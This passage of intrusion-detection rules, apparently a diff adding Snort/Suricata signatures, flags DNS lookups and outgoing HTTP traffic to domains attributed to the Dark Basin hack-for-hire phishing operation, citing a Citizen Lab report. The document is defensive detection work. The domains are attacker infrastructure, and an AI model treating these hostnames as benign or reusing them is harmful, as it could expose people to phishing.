"/(^|[^A-Za-z0-9-])registrationonlineeurope\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356713; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: rockerhostings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|rockerhostings|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354621; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: rockerhostings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|rockerhostings|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354622; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: rockerhostings.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"rockerhostings.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])rockerhostings\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354623; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: rulinuxbasic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|rulinuxbasic|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356291; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: rulinuxbasic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|rulinuxbasic|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356292; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: rulinuxbasic.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"rulinuxbasic.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])rulinuxbasic\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356293; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ruslinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|ruslinbas|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356051; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ruslinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|ruslinbas|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356052; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ruslinbas.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ruslinbas.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ruslinbas\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356053; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: russialinuxbasic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|russialinuxbasic|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356301; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: russialinuxbasic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|russialinuxbasic|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356302; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: russialinuxbasic.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"russialinuxbasic.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])russialinuxbasic\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356303; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: saferedirect.pw"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|saferedirect|02|pw|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357781; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: saferedirect.pw"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|saferedirect|02|pw|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357782; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: saferedirect.pw"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"saferedirect.pw"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])saferedirect\.pw[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357783; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: santanaservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|santanaservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354801; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: santanaservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|santanaservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354802; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: santanaservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"santanaservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])santanaservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354803; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: sapserver39j.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|sapserver39j|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353331; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: sapserver39j.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|sapserver39j|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353332; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: sapserver39j.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"sapserver39j.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])sapserver39j\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353333; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: sapserverhg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|sapserverhg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355481; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: sapserverhg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|sapserverhg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355482; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: sapserverhg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"sapserverhg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])sapserverhg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355483; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: sapserverhike.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|sapserverhike|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354921; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: sapserverhike.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|sapserverhike|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354922; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: sapserverhike.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"sapserverhike.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])sapserverhike\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354923; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: sapserverhipe.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|sapserverhipe|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353991; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: sapserverhipe.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|sapserverhipe|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353992; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: sapserverhipe.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"sapserverhipe.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])sapserverhipe\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353993; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: searchsimple.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|searchsimple|04|info|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353961; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: searchsimple.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|searchsimple|04|info|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353962; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: searchsimple.info"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"searchsimple.info"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])searchsimple\.info[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353963; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: searchsimple.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|searchsimple|03|net|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353981; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: searchsimple.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|searchsimple|03|net|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353982; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: searchsimple.net"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"searchsimple.net"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])searchsimple\.net[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353983; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: secureemailserver65.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|secureemailserver65|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357221; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: secureemailserver65.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|secureemailserver65|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357222; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: secureemailserver65.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"secureemailserver65.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])secureemailserver65\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357223; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: securemailhost46.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|securemailhost46|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354671; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: securemailhost46.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|securemailhost46|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354672; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: securemailhost46.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"securemailhost46.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])securemailhost46\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354673; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: secureserver9898.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|secureserver9898|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357551; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: secureserver9898.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|secureserver9898|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357552; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: secureserver9898.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"secureserver9898.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])secureserver9898\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357553; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: secureserverasia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|secureserverasia|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356731; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: secureserverasia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|secureserverasia|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356732; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: secureserverasia.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"secureserverasia.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])secureserverasia\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356733; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: secureservereurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|secureservereurope|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356741; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: secureservereurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|secureservereurope|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356742; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: secureservereurope.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"secureservereurope.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])secureservereurope\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356743; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: selectedmaxstores.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedmaxstores|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356901; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: selectedmaxstores.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedmaxstores|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356902; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: selectedmaxstores.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"selectedmaxstores.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])selectedmaxstores\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356903; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: selectedservicemy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedservicemy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355751; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: selectedservicemy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedservicemy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355752; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: selectedservicemy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"selectedservicemy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])selectedservicemy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355753; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: selectedserviceru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedserviceru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355761; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: selectedserviceru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedserviceru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355762; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: selectedserviceru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"selectedserviceru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])selectedserviceru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355763; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: selectedservicesg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedservicesg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355771; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: selectedservicesg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|selectedservicesg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355772; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: selectedservicesg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"selectedservicesg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])selectedservicesg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355773; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: selectiveservicemax.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|selectiveservicemax|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357031; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: selectiveservicemax.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|selectiveservicemax|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357032; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: selectiveservicemax.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"selectiveservicemax.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])selectiveservicemax\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357033; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: selectyourgroom.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|selectyourgroom|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355411; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: selectyourgroom.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|selectyourgroom|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355412; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: selectyourgroom.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"selectyourgroom.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])selectyourgroom\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355413; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serverasiasap.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|serverasiasap|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356751; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: 